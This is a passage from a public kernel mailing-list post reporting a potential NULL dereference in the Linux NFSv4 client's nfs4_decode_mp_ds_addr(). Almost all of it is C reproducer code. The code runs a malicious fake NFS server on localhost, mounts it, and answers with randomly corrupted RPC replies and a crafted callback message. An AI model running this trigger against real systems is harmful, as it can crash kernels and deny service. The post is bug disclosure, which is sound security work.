parse_opaque(0);
int nops = parse32();
int op = parse32();
printf("got a backchannel reply, stat %d %d, nops %d op1 %d\n", stat1, stat2, nops, op);
// printf("got a backchannel reply\n");
return;
}
parse32(); // rpc version
int progno = parse32(); // prog#
int progvers = parse32(); // prog vers
int proc = parse32();
int credtype = parse32(); // cred type
parse_opaque(0); // cred
int verftype = parse32(); // verf type
parse_opaque(0); // verf
put32(xid);
put32(1); // REPLY
put32(0); // MSG_ACCEPTED
put32(0); // opaque_auth flavor = AUTH_NULL
put32(0); // opaque_auth length
put32(0); // SUCCESS
if(proc == 0){
parse_nop();
} else if(progno == 100003 && proc == 1){
parse_compound();
} else {
printf("unknown rpc progno=%d progvers=%d proc=%d\n",
progno, progvers, proc);
}
}
void
put_rpc_header(int prog, int proc)
{
int xid = 1;
put32(xid++);
put32(0); // mtype=CALL
put32(2); // rpc version
put32(prog); // prog # -- nfs v4 callback
put32(1); // prog vers
put32(proc); // proc
if(proc == 0){
put32(0); // cred type
put32(0); // cred len
} else {
put32(1); // cred type AUTH_SYS / AUTH_UNIX
put32(32); // cred length
put32(0); // stamp
put_opaque(9, "localhost");
put32(65534); // uid
put32(65534); // gid
put32(0); // # gids
}
put32(0); // verf type
put32(0); // verf len
}
void
sys(const char *cmd)
{
volatile int x = system(cmd);
(void) x;
}
int
main(){
setlinebuf(stdout);
struct rlimit r;
r.rlim_cur = r.rlim_max = 0;
setrlimit(RLIMIT_CORE, &r);
sys("domainname x.com");
sys("mount -t rpc_pipefs rpc_pipefs /run/rpc_pipefs");
sys("/usr/sbin/rpc.idmapd");
int s = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in sin;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(2049);
int yes = 1;
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0){
perror("bind"); exit(1);
}
listen(s, 10);
sync();
int pid1 = fork();
if(pid1 == 0){
close(s);
sleep(1);
if(system("echo -n mount: ; mount -t nfs4 -o trunkdiscovery,nolock,nodev 127.0.0.1:/tmp /mnt") == 0){
if(0){
printf("statfs: "); fflush(stdout);
struct statfs sb;
int ret = statfs("/mnt/.", &sb);
printf("statfs -> %d\n", ret);
}
if(0){
printf("open:\n");
int fd = open("/mnt", 0);
if(fd < 0) { perror("/mnt"); exit(1); }
off_t base = 0;
char buf[4096];
printf("getdirentries:\n");
ssize_t ret = getdirentries(fd, buf, sizeof(buf), &base);
if(ret < 0) perror("getdirentries");
close(fd);
sys("echo -n umount: ; umount /mnt");
}
if(0){
int fd = open("/mnt/x", 0);
printf("open /mnt/x -> %d errno %d\n", fd, errno);
if(fd < 0) perror("/mnt/x");
close(fd);
}
if(0){
printf("create /mnt/new:\n");
int fd = open("/mnt/new", O_RDWR|O_CREAT, 0666);
if(fd < 0) perror("/mnt/new");
printf("write /mnt/new:\n");
if(write(fd, "x", 1) < 0) perror("write");
printf("fsync /mnt/new:\n");
fsync(fd);
lseek(fd, 0L, 0);
char buf[512];
printf("read /mnt/new:\n");
volatile int junk = read(fd, buf, sizeof(buf));
(void) junk;
//mkdir("/mnt/new/newnew", 0777);
//if(unlink("/mnt/new") < 0) perror("unlink");
//close(fd);
printf("flock /mnt/new:\n");
if(flock(fd, LOCK_EX) < 0) perror("flock");
printf("close /mnt/new:\n");
close(fd);
sys("echo -n umount: ; umount /mnt");
}
if(0){
int fd = open("/mnt/new", O_RDWR|O_CREAT, 0666);
printf("creat /mnt/new -> %d errno %d\n", fd, errno);
if(fd < 0) perror("/mnt/new");
if(flock(fd, LOCK_EX) < 0) perror("flock");
sleep(1);
}
if(0){
printf("mkdir:\n");
int ret = mkdir("/mnt/x", 0777);
if(ret < 0) perror("mkdir");
printf("creat:\n");
int fd = creat("/mnt/x/e", 0666);
if(fd < 0) perror("creat");
close(fd);
printf("rmdir:\n");
if(rmdir("/mnt/x") < 0)
perror("rmdir");
sys("echo -n umount: ; umount /mnt");
}
if(0){
sys("nfs4_getfacl /mnt/x > /dev/null 2>&1");
}
if(0){
int fd = open("/mnt/new", O_RDWR|O_CREAT, 0666);
if(fd < 0) perror("open /mnt/new");
char buf[32];
memset(buf, 1, sizeof(buf));
if(write(fd, buf, sizeof(buf)) < 0) perror("write");
lseek(fd, (off_t)0, 0);
int fd2 = creat("/mnt/newnew", 0666);
if(fd2 < 0) perror("creat /mnt/newnew");
off_t o1 = 0;
off_t o2 = 0;
if(copy_file_range(fd, &o1, fd2, &o2, 16, 0) < 0) perror("copy_file_range");
}
if(0){
struct stat sb;
int ret = stat("/mnt/x", &sb);
printf("stat /mnt/x ret=%d uid=%d\n", ret, sb.st_uid);
}
if(0){
sys("echo -n ls: ; ls -l /mnt");
sys("echo -n ls: ; ls -l /mnt/. /mnt/z");
sys("echo -n echo: ; echo hi > /mnt/x");
sys("echo -n dd: ; dd if=/mnt/y of=/dev/null bs=512 count=1");
sys("echo -n umount: ; umount /mnt");
}
if(0){
sys("echo -n mv: ; mv -f /mnt/z /mnt/y");
sys("echo -n umount: ; umount /mnt");
}
if(0){
sys("echo -n echo: ; echo hi > /mnt/x");
sys("echo -n umount: ; umount /mnt");
}
if(0){
sys("echo -n ls: ; ls -l /mnt");
sys("echo -n umount: ; umount /mnt");
}
if(0){
printf("open x:\n");
int fd = open("/mnt/x", O_RDWR);
if(fd < 0)
perror("/mnt/x");
printf("listxattr:\n");
char buf[128];
if(flistxattr(fd, buf, sizeof(buf)) < 0)
perror("listxattr");
// system.nfs4_acl
// system.nfs4_dacl
// system.nfs4_sacl
printf("getxattr:\n");
if(fgetxattr(fd, "system.nfs4_acl", buf, sizeof(buf)) < 0)
perror("getxattr");
printf("fsync/close:\n");
fsync(fd);
close(fd);
sys("echo -n umount: ; umount /mnt");
}
if(1){
printf("open:\n");
int fd = open("/mnt/x", 0);
if(fd < 0) perror("open");
char buf[2048];
printf("read:\n");
int n = read(fd, buf, sizeof(buf));
if(n < 0) perror("read");
close(fd);
sys("echo -n umount: ; umount /mnt");
}
if(0){
printf("open:\n");
int fd = open("/mnt/x", O_WRONLY|O_CREAT|O_TRUNC, 0666);
if(fd < 0) perror("open");
char buf[2048];
printf("write:\n");
int n = write(fd, buf, sizeof(buf));
if(n < 0) perror("write");
close(fd);
sys("echo -n umount: ; umount /mnt");
}
}
exit(0);
}
int pid2 = fork();
if(pid2 == 0){
while(1){
socklen_t sinlen = sizeof(sin);
printf("calling accept\n");
int s1 = accept(s, (struct sockaddr *) &sin, &sinlen);
printf("accept returned %d\n", s1);
if(s1 < 0) { perror("accept"); exit(1); }
int pid3 = fork();
if(pid3 == 0){
close(s);
while(1){
if(readn(s1, &ilen, 4) < 0) break;
ilen = ntohl(ilen);
ilen &= 0x7fffffff;
if(readn(s1, ibuf, ilen) < 0) break;
oi = ii = 0;
put32(0); // place-holder for length
parse_rpc();
#if 1
if(symstart != -1){
for(int i = 0; i < 16; i++)
put32(0xffffffff);
}
#endif
*(int*)(obuf+0) = htonl((oi - 4) | 0x80000000);
if(symstart != -1){
for(int i = symstart; i < oi; i += 8)
*(unsigned long long *)(obuf + i) ^= symx();
symstart = -1;
}
if(oi > 0){
if(write(s1, obuf, oi)<=0) perror("write");
}
if(send_back){
send_back = 0;
oi = 0;
put32(0); // dummy length
put_rpc_header(0x40000000, 1);
// CB_COMPOUND
put_opaque(0, ""); // compound tag
put32(2); // minor version
put32(0); // callback_ident
put32(2); // operations in the compound
// CB_SEQUENCE
put32(11);
for(int i = 0; i < 4; i++)
put32(1); // sessionid
put32(1); // sequenceid ???
put32(0); // slotid
put32(0); // highest_slotid
put32(0); // cachethis
put32(0); // csa_referring_call_lists<>
int xoi = oi;
for(int i = 0; i < 32; i++)
put32(0xffffffff);
for(int i = xoi; i < oi; i += 8)
*(unsigned long long *)(obuf + i) ^= symx();
*(int*)(obuf+0) = htonl((oi - 4) | 0x80000000);
if(write(s1, obuf, oi)<=0) perror("write");
}
}
close(s1);
exit(1);
}
}
exit(1);
}
close(s);
sleep(20);
kill(pid1, 9);
kill(pid2, 9);
sleep(1);
}
^ permalink raw reply [flat|nested] only message in thread
only message in thread, other threads:[~2025-09-05 20:40 UTC | newest]
Thread overview: (only message) (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2025-09-05 20:11 potential NULL dereference in nfs4_decode_mp_ds_addr() rtm
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox